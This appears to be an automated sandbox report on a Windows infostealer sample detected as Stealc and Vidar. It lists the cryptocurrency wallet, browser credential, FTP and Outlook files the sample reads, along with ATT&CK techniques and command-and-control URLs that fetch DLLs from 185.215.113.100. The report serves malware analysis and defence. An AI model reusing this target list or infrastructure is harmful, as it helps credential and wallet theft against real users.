Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsonA
Source: eb98fe5174.exe, 00000007.00000002.2619375968.00000000006CA000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: file__0.localstorage
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\.
Source: eb98fe5174.exe, 00000007.00000002.2619375968.00000000006CA000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: MultiDoge
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\seed.seco
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 53c7d901f1.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: eb98fe5174.exe PID: 7864, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC0C40 sqlite3_bind_zeroblob,	7_2_6CAC0C40
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC0D60 sqlite3_bind_parameter_name,	7_2_6CAC0D60
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E8EA0 sqlite3_clear_bindings,	7_2_6C9E8EA0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6CAC0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	7_2_6CAC0B40
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E6410 bind,WSAGetLastError,	7_2_6C9E6410
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E60B0 listen,WSAGetLastError,	7_2_6C9E60B0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9EC030 sqlite3_bind_parameter_count,	7_2_6C9EC030
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9EC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	7_2_6C9EC050
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E6070 PR_Listen,	7_2_6C9E6070
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9722D0 sqlite3_bind_blob,	7_2_6C9722D0
Source: C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe	Code function: 7_2_6C9E63C0 PR_Bind,	7_2_6C9E63C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	237 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	261 Virtualization/Sandbox Evasion	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	57%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
googlehosted.l.googleusercontent.com	0%	Virustotal	Browse
s-part-0032.t-0009.t-msedge.net	0%	Virustotal	Browse
sni1gl.wpc.nucdn.net	0%	Virustotal	Browse
clients2.googleusercontent.com	0%	Virustotal	Browse
bzib.nelreports.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://185.215.113.100/	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.100	100%	URL Reputation	malware
http://185.215.113.100/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://bzib.nelreports.net/api/report?cat=bingbusiness	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.100/e2b1563c6670f193.php	100%	URL Reputation	malware
https://drive-staging.corp.google.com/	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://chrome.cloudflare-dns.com	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.100/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://drive-autopush.corp.google.com/	0%	URL Reputation	safe
http://185.215.113.19/Vi9leo/index.phpHarddiskVolumef	100%	Avira URL Cloud	phishing
http://185.215.113.100/e2b1563c6670f193.phpion:	100%	Avira URL Cloud	malware
